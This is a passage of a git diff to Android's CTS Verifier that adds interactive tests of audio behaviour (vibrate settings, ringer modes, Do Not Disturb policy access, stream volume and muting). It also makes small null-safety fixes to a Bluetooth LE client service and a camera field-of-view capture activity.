+            mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT, volume);
+            mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT, volume);
+            status = PASS;
+        }
+    }
+
+    protected class TestVibrateNotificationDndOn extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.test_vibrate_notification);
+        }
+
+        @Override
+        protected void test() {
+            if (mUseFixedVolume || !mHasVibrator) {
+                status = PASS;
+                return;
+            }
+
+            // VIBRATE_SETTING_ON
+            mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ON);
+            if (VIBRATE_SETTING_ON != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+                setFailed();
+                return;
+            }
+
+            if (mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+                setFailed();
+                return;
+            }
+
+            // VIBRATE_SETTING_OFF
+            mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_OFF);
+            if (VIBRATE_SETTING_OFF != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+                setFailed();
+                return;
+            }
+
+            if (mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+                setFailed();
+                return;
+            }
+
+            // VIBRATE_SETTING_ONLY_SILENT
+            mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ONLY_SILENT);
+            if (VIBRATE_SETTING_ONLY_SILENT
+                    != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+                setFailed();
+                return;
+            }
+
+            if (mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+                setFailed();
+                return;
+            }
+            status = PASS;
+        }
+    }
+
+    protected class TestVibrateNotification extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.test_vibrate_notification);
+        }
+
+        @Override
+        protected void test() {
+            if (mUseFixedVolume || !mHasVibrator) {
+                status = PASS;
+                return;
+            }
+            // VIBRATE_SETTING_ON
+            mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ON);
+            if (VIBRATE_SETTING_ON != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+                setFailed();
+                return;
+            }
+            if (!mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+                setFailed();
+                return;
+            }
+
+            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+            if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+                setFailed();
+                return;
+            }
+            if (!mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+                setFailed();
+                return;
+            }
+
+            // VIBRATE_SETTING_OFF
+            mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_OFF);
+            if (VIBRATE_SETTING_OFF != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+                setFailed();
+                return;
+            }
+            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+            if (mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+                setFailed();
+                return;
+            }
+
+            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+            if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+                setFailed();
+                return;
+            }
+            if (mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+                setFailed();
+                return;
+            }
+
+            // VIBRATE_SETTING_ONLY_SILENT
+            mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ONLY_SILENT);
+            if (VIBRATE_SETTING_ONLY_SILENT
+                    != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+                setFailed();
+                return;
+            }
+            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+            if (mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+                setFailed();
+                return;
+            }
+
+            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+            if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+                setFailed();
+                return;
+            }
+            if (!mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+                setFailed();
+                return;
+            }
+
+            // VIBRATE_TYPE_NOTIFICATION
+            mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ON);
+            if(VIBRATE_SETTING_ON  != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+                setFailed();
+                return;
+            }
+            mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_OFF);
+            if(VIBRATE_SETTING_OFF != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+                setFailed();
+                return;
+            }
+            mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ONLY_SILENT);
+            if (VIBRATE_SETTING_ONLY_SILENT
+                    != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+                setFailed();
+                return;
+            }
+            status = PASS;
+        }
+    }
+
+    protected class TestVibrateRingerDndOn extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.test_vibrate_ringer);
+        }
+
+        @Override
+        protected void test() {
+            if (mUseFixedVolume || !mHasVibrator) {
+                status = PASS;
+                return;
+            }
+
+            // VIBRATE_SETTING_ON
+            mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ON);
+            if (VIBRATE_SETTING_ON != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+                setFailed();
+                return;
+            }
+
+            if (mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+                setFailed();
+                return;
+            }
+
+            // VIBRATE_SETTING_OFF
+            mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_OFF);
+            if (VIBRATE_SETTING_OFF != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+                setFailed();
+                return;
+            }
+
+            if (mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+                setFailed();
+                return;
+            }
+
+            // VIBRATE_SETTING_ONLY_SILENT
+            mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ONLY_SILENT);
+            if (VIBRATE_SETTING_ONLY_SILENT
+                    != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+                setFailed();
+                return;
+            }
+
+            if (mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+                setFailed();
+                return;
+            }
+            status = PASS;
+        }
+    }
+
+    protected class TestVibrateRinger extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.test_vibrate_ringer);
+        }
+
+        @Override
+        protected void test() {
+            if (mUseFixedVolume || !mHasVibrator) {
+                status = PASS;
+                return;
+            }
+            // VIBRATE_SETTING_ON
+            mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ON);
+            if (VIBRATE_SETTING_ON != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+                setFailed();
+                return;
+            }
+            if (!mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+                setFailed();
+                return;
+            }
+
+            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+            if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+                setFailed();
+                return;
+            }
+            if (!mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+                setFailed();
+                return;
+            }
+
+            // VIBRATE_SETTING_OFF
+            mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_OFF);
+            if (VIBRATE_SETTING_OFF != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+                setFailed();
+                return;
+            }
+            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+            if (mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+                setFailed();
+                return;
+            }
+
+            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+            if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+                setFailed();
+                return;
+            }
+            if (mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+                setFailed();
+                return;
+            }
+
+            // VIBRATE_SETTING_ONLY_SILENT
+            mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ONLY_SILENT);
+            if (VIBRATE_SETTING_ONLY_SILENT
+                    != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+                setFailed();
+                return;
+            }
+            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+            if (mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+                setFailed();
+                return;
+            }
+
+            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+            if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+                setFailed();
+                return;
+            }
+            if (!mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+                setFailed();
+                return;
+            }
+
+            // VIBRATE_TYPE_NOTIFICATION
+            mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ON);
+            if (VIBRATE_SETTING_ON != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+                setFailed();
+                return;
+            }
+            mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_OFF);
+            if (VIBRATE_SETTING_OFF != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+                setFailed();
+                return;
+            }
+            mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ONLY_SILENT);
+            if (VIBRATE_SETTING_ONLY_SILENT
+                    != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+                setFailed();
+                return;
+            }
+            status = PASS;
+        }
+    }
+
+    protected class TestAccessRingerMode extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.test_access_ringer_mode);
+        }
+
+        @Override
+        protected void test() {
+            if (mSkipRingerTests) {
+                status = PASS;
+                return;
+            }
+            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+            if (RINGER_MODE_NORMAL != mAudioManager.getRingerMode()) {
+                setFailed();
+                return;
+            }
+
+            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+            if (mHasVibrator) {
+                if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+                    setFailed();
+                    return;
+                }
+            } else {
+                if (RINGER_MODE_NORMAL != mAudioManager.getRingerMode()) {
+                    setFailed();
+                    return;
+                }
+            }
+            status = PASS;
+        }
+
+        @Override
+        protected void tearDown() {
+            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+            next();
+        }
+    }
+
+    protected class TestAccessRingerModeDndOn extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.test_access_ringer_mode);
+        }
+
+        @Override
+        protected void test() {
+            if (mSkipRingerTests) {
+                status = PASS;
+                return;
+            }
+            if (RINGER_MODE_SILENT != mAudioManager.getRingerMode()) {
+                setFailed();
+                return;
+            }
+            status = PASS;
+        }
+    }
+
+    protected class TestSetRingerModePolicyAccessDndOn extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.test_ringer_mode_policy_access);
+        }
+
+        @Override
+        protected void test() {
+            if (mSkipRingerTests) {
+                status = PASS;
+                return;
+            }
+            // This tests a subset of testSetRingerModePolicyAccess as cts verifier cannot
+            // get policy access on these devices.
+            try {
+                mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+                status = FAIL;
+                logFail("Apps without notification policy access cannot change ringer mode");
+            } catch (SecurityException e) {
+            }
+
+            try {
+                mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+                status = FAIL;
+                logFail("Apps without notification policy access cannot change ringer mode");
+            } catch (SecurityException e) {
+            }
+            status = PASS;
+        }
+    }
+
+    protected class TestSetRingerModePolicyAccess extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.test_ringer_mode_policy_access);
+        }
+
+        @Override
+        protected void test() {
+            if (mSkipRingerTests) {
+                status = PASS;
+                return;
+            }
+            // This tests a subset of testSetRingerModePolicyAccess as cts verifier cannot
+            // get policy access on these devices.
+
+            try {
+                mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+                status = FAIL;
+                logFail("Apps without notification policy access cannot change ringer mode");
+            } catch (SecurityException e) {
+            }
+
+            if (mHasVibrator) {
+                mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+
+                try {
+                    mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+                    status = FAIL;
+                    logFail("Apps without notification policy access cannot change ringer mode");
+                } catch (SecurityException e) {
+                }
+            }
+            status = PASS;
+        }
+    }
+
+    protected class TestVolumeDndAffectedStream extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.test_volume_dnd_affected_stream);
+        }
+
+        @Override
+        protected void test() {
+            if (mSkipRingerTests || mHasVibrator) {
+                status = PASS;
+                return;
+            }
+
+            mAudioManager.setStreamVolume(
+                    AudioManager.STREAM_SYSTEM, 7, AudioManager.FLAG_ALLOW_RINGER_MODES);
+
+            // 7 to 0, fail.
+            try {
+                mAudioManager.setStreamVolume(
+                        AudioManager.STREAM_SYSTEM, 0, AudioManager.FLAG_ALLOW_RINGER_MODES);
+                status = FAIL;
+                logFail("Apps without notification policy access cannot change ringer mode");
+                return;
+            } catch (SecurityException e) {}
+
+            // 7 to 1: success
+            mAudioManager.setStreamVolume(
+                    AudioManager.STREAM_SYSTEM, 1, AudioManager.FLAG_ALLOW_RINGER_MODES);
+            if (1 !=  mAudioManager.getStreamVolume(AudioManager.STREAM_SYSTEM)) {
+                setFailed();
+                return;
+            }
+            status = PASS;
+        }
+    }
+
+    protected class TestVolumeDndAffectedStreamDndOn extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.test_volume_dnd_affected_stream);
+        }
+
+        @Override
+        protected void test() {
+            if (mSkipRingerTests || mHasVibrator) {
+                status = PASS;
+                return;
+            }
+
+            mAudioManager.setStreamVolume(
+                    AudioManager.STREAM_SYSTEM, 0, AudioManager.FLAG_ALLOW_RINGER_MODES);
+
+            try {
+                mAudioManager.setStreamVolume(
+                        AudioManager.STREAM_SYSTEM, 6, AudioManager.FLAG_ALLOW_RINGER_MODES);
+                status = FAIL;
+                logFail("Apps without notification policy access cannot change ringer mode");
+                return;
+            } catch (SecurityException e) {}
+            status = PASS;
+        }
+    }
+
+    protected class TestVolume extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.test_volume_dnd_affected_stream);
+        }
+
+        @Override
+        protected void test() {
+            int volume, volumeDelta;
+            int[] streams = {STREAM_MUSIC,
+                    AudioManager.STREAM_VOICE_CALL,
+                    AudioManager.STREAM_ALARM,
+                    AudioManager.STREAM_RING};
+
+            mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+            // adjusting volume is aynchronous, wait before other volume checks
+            try {
+                Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            mAudioManager.adjustSuggestedStreamVolume(
+                    ADJUST_LOWER, USE_DEFAULT_STREAM_TYPE, 0);
+            try {
+                Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            int maxMusicVolume = mAudioManager.getStreamMaxVolume(STREAM_MUSIC);
+
+            for (int stream : streams) {
+                Log.d(TAG, "testing stream: " + stream);
+                mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+                int maxVolume = mAudioManager.getStreamMaxVolume(stream);
+                int minVolume = 1; // mAudioManager.getStreamMinVolume(stream); is @hide
+
+                // validate min
+                assertTrue(String.format("minVolume(%d) must be >= 0", minVolume), minVolume >= 0);
+                assertTrue(String.format("minVolume(%d) must be < maxVolume(%d)", minVolume,
+                        maxVolume),
+                        minVolume < maxVolume);
+
+                mAudioManager.setStreamVolume(stream, 1, 0);
+                if (mUseFixedVolume) {
+                    assertEquals(maxVolume, mAudioManager.getStreamVolume(stream));
+                    return;
+                }
+                assertEquals(String.format("stream=%d", stream),
+                        1, mAudioManager.getStreamVolume(stream));
+
+                if (stream == STREAM_MUSIC && mAudioManager.isWiredHeadsetOn()) {
+                    // due to new regulations, music sent over a wired headset may be volume limited
+                    // until the user explicitly increases the limit, so we can't rely on being able
+                    // to set the volume to getStreamMaxVolume(). Instead, determine the current limit
+                    // by increasing the volume until it won't go any higher, then use that volume as
+                    // the maximum for the purposes of this test
+                    int curvol = 0;
+                    int prevvol = 0;
+                    do {
+                        prevvol = curvol;
+                        mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
+                        curvol = mAudioManager.getStreamVolume(stream);
+                    } while (curvol != prevvol);
+                    maxVolume = maxMusicVolume = curvol;
+                }
+                mAudioManager.setStreamVolume(stream, maxVolume, 0);
+                mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
+                assertEquals(maxVolume, mAudioManager.getStreamVolume(stream));
+
+                volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
+                mAudioManager.adjustSuggestedStreamVolume(ADJUST_LOWER, stream, 0);
+                try {
+                    Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+                } catch (InterruptedException e) {
+                    e.printStackTrace();
+                }
+                assertEquals(maxVolume - volumeDelta, mAudioManager.getStreamVolume(stream));
+
+                // volume lower
+                mAudioManager.setStreamVolume(stream, maxVolume, 0);
+                volume = mAudioManager.getStreamVolume(stream);
+                while (volume > minVolume) {
+                    volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
+                    mAudioManager.adjustStreamVolume(stream, ADJUST_LOWER, 0);
+                    assertEquals(Math.max(0, volume - volumeDelta),
+                            mAudioManager.getStreamVolume(stream));
+                    volume = mAudioManager.getStreamVolume(stream);
+                }
+
+                mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
+
+                // volume raise
+                mAudioManager.setStreamVolume(stream, 1, 0);
+                volume = mAudioManager.getStreamVolume(stream);
+                while (volume < maxVolume) {
+                    volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
+                    mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
+                    assertEquals(Math.min(volume + volumeDelta, maxVolume),
+                            mAudioManager.getStreamVolume(stream));
+                    volume = mAudioManager.getStreamVolume(stream);
+                }
+
+                // volume same
+                mAudioManager.setStreamVolume(stream, maxVolume, 0);
+                for (int k = 0; k < maxVolume; k++) {
+                    mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
+                    assertEquals(maxVolume, mAudioManager.getStreamVolume(stream));
+                }
+
+                mAudioManager.setStreamVolume(stream, maxVolume, 0);
+            }
+
+            if (mUseFixedVolume) {
+                return;
+            }
+
+            // adjust volume
+            mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+            try {
+                Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+
+            boolean isMusicPlayingBeforeTest = false;
+            if (mAudioManager.isMusicActive()) {
+                isMusicPlayingBeforeTest = true;
+            }
+
+            MediaPlayer mp = MediaPlayer.create(mContext, MP3_TO_PLAY);
+            assertNotNull(mp);
+            mp.setAudioStreamType(STREAM_MUSIC);
+            mp.setLooping(true);
+            mp.start();
+            try {
+                Thread.sleep(TIME_TO_PLAY);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            assertTrue(mAudioManager.isMusicActive());
+
+            // adjust volume as ADJUST_SAME
+            for (int k = 0; k < maxMusicVolume; k++) {
+                mAudioManager.adjustVolume(ADJUST_SAME, 0);
+                try {
+                    Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+                } catch (InterruptedException e) {
+                    e.printStackTrace();
+                }
+                assertEquals(maxMusicVolume, mAudioManager.getStreamVolume(STREAM_MUSIC));
+            }
+
+            // adjust volume as ADJUST_RAISE
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 0, 0);
+            volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
+            mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+            try {
+                Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            assertEquals(Math.min(volumeDelta, maxMusicVolume),
+                    mAudioManager.getStreamVolume(STREAM_MUSIC));
+
+            // adjust volume as ADJUST_LOWER
+            mAudioManager.setStreamVolume(STREAM_MUSIC, maxMusicVolume, 0);
+            maxMusicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
+            volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
+            mAudioManager.adjustVolume(ADJUST_LOWER, 0);
+            try {
+                Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            assertEquals(Math.max(0, maxMusicVolume - volumeDelta),
+                    mAudioManager.getStreamVolume(STREAM_MUSIC));
+
+            mp.stop();
+            mp.release();
+            try {
+                Thread.sleep(TIME_TO_PLAY);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            if (!isMusicPlayingBeforeTest) {
+                assertFalse(mAudioManager.isMusicActive());
+            }
+            status = PASS;
+        }
+    }
+
+    protected class TestMuteDndAffectedStreamsDndOn extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.test_mute_dnd_affected_streams);
+        }
+
+        @Override
+        protected void test() {
+            if (mSkipRingerTests) {
+                return;
+            }
+            int[] streams = { AudioManager.STREAM_RING };
+
+            // Verify streams cannot be unmuted without policy access.
+            for (int stream : streams) {
+                try {
+                    mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_UNMUTE, 0);
+                    assertEquals("Apps without Notification policy access can't change ringer mode",
+                            RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+                } catch (SecurityException e) {
+                }
+
+                try {
+                    mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE,
+                            0);
+                    assertEquals("Apps without Notification policy access can't change ringer mode",
+                            RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+                } catch (SecurityException e) {
+                }
+
+                try {
+                    mAudioManager.setStreamMute(stream, false);
+                    assertEquals("Apps without Notification policy access can't change ringer mode",
+                            RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+                } catch (SecurityException e) {
+                }
+            }
+            status = PASS;
+        }
+    }
+
+    protected class TestMuteStreams extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.test_mute_dnd_affected_streams);
+        }
+
+        @Override
+        protected void test() {
+            if (mSkipRingerTests) {
+                return;
+            }
+            int[] streams = { AudioManager.STREAM_RING };
+
+            for (int stream : streams) {
+                // ensure each stream is on and turned up.
+                mAudioManager.setStreamVolume(stream, mAudioManager.getStreamMaxVolume(stream),0);
+
+                try {
+                    mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
+                    assertEquals("Apps without Notification policy access can't change ringer mode",
+                            RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+                } catch (SecurityException e) {
+                }
+                try {
+                    mAudioManager.adjustStreamVolume(
+                            stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
+                    assertEquals("Apps without Notification policy access can't change ringer mode",
+                            RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+                } catch (SecurityException e) {
+                }
+
+                try {
+                    mAudioManager.setStreamMute(stream, true);
+                    assertEquals("Apps without Notification policy access can't change ringer mode",
+                            RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+                } catch (SecurityException e) {
+                }
+                testStreamMuting(stream);
+            }
+
+            streams = new int[] {
+                    AudioManager.STREAM_VOICE_CALL,
+                    AudioManager.STREAM_MUSIC,
+                    AudioManager.STREAM_ALARM
+            };
+
+            int muteAffectedStreams = Settings.System.getInt(mContext.getContentResolver(),
+                    Settings.System.MUTE_STREAMS_AFFECTED,
+                    // Same defaults as in AudioService. Should be kept in
+                    // sync.
+                    ((1 << AudioManager.STREAM_MUSIC) |
+                            (1 << AudioManager.STREAM_RING) |
+                            (1 << AudioManager.STREAM_NOTIFICATION) |
+                            (1 << AudioManager.STREAM_SYSTEM)));
+            for (int stream : streams) {
+                // ensure each stream is on and turned up.
+                mAudioManager.setStreamVolume(stream,
+                        mAudioManager.getStreamMaxVolume(stream),
+                        0);
+                if (((1 << stream) & muteAffectedStreams) == 0) {
+                    mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
+                    assertFalse("Stream " + stream + " should not be affected by mute.",
+                            mAudioManager.isStreamMute(stream));
+                    mAudioManager.setStreamMute(stream, true);
+                    assertFalse("Stream " + stream + " should not be affected by mute.",
+                            mAudioManager.isStreamMute(stream));
+                    mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE,
+                            0);
+                    assertFalse("Stream " + stream + " should not be affected by mute.",
+                            mAudioManager.isStreamMute(stream));
+                    continue;
+                }
+                testStreamMuting(stream);
+            }
+            status = PASS;
+        }
+    }
+
+    protected class TestAdjustVolumeInAlarmsOnlyMode extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.test_volume_dnd_affected_stream);
+        }
+
+        @Override
+        protected void test() {
+            if (mSkipRingerTests) {
+                return;
+            }
+            int musicVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
+            mAudioManager.adjustStreamVolume(
+                    AudioManager.STREAM_MUSIC, AudioManager.ADJUST_RAISE, 0);
+            int volumeDelta =
+                    getVolumeDelta(mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
+            assertEquals(musicVolume + volumeDelta,
+                    mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
+
+            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 3, 0);
+            assertEquals(3, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
+
+            status = PASS;
+        }
+    }
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index e61cefe..6b686e0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -1292,7 +1292,15 @@
                 int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE, BluetoothDevice.BOND_NONE);
                 switch (state) {
                     case BluetoothDevice.BOND_BONDED:
-                        mBluetoothGatt = connectGatt(device, mContext, false, mSecure, mGattCallbacks);
+                        if ((mBluetoothGatt == null) &&
+                            (device.getType() != BluetoothDevice.DEVICE_TYPE_CLASSIC)) {
+                            if (DEBUG) {
+                                Log.d(TAG, "onReceive:BOND_BONDED: calling connectGatt device="
+                                             + device + ", mSecure=" + mSecure);
+                            }
+                            mBluetoothGatt = connectGatt(device, mContext, false, mSecure,
+                                                         mGattCallbacks);
+                        }
                         break;
                     case BluetoothDevice.BOND_NONE:
                         notifyError("Failed to create bond.");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java
index 85d2a18..8839d52 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java
@@ -413,7 +413,7 @@
         try {
             mCamera.setPreviewDisplay(mSurfaceHolder);
         } catch (Throwable t) {
-            Log.e("TAG", "Could not set preview display", t);
+            Log.e(TAG, "Could not set preview display", t);
             Toast.makeText(this, t.getMessage(), Toast.LENGTH_LONG).show();
             return;
         }
@@ -423,8 +423,14 @@
 
         // Either use chosen preview size for current camera or automatically
         // choose preview size based on view dimensions.
-        Size selectedPreviewSize = (mPreviewSizes != null) ? mPreviewSizes[mSelectedResolution.cameraId] :
-            getBestPreviewSize(mSurfaceSize.width, mSurfaceSize.height, params);
+        Size selectedPreviewSize = null;
+        if (mPreviewSizes != null) {
+            selectedPreviewSize = mPreviewSizes[mSelectedResolution.cameraId];
+        } else if (mSurfaceSize != null) {
+            selectedPreviewSize = getBestPreviewSize(
+                    mSurfaceSize.width, mSurfaceSize.height, params);
+        }
+
         if (selectedPreviewSize != null) {
             params.setPreviewSize(selectedPreviewSize.width, selectedPreviewSize.height);
             mCamera.setParameters(params);
@@ -432,7 +438,10 @@
         }
 
         if (startPreviewAfterInit) {
-          startPreview();
+            if (selectedPreviewSize == null) {
+                Log.w(TAG, "Preview started without setting preview size");
+            }
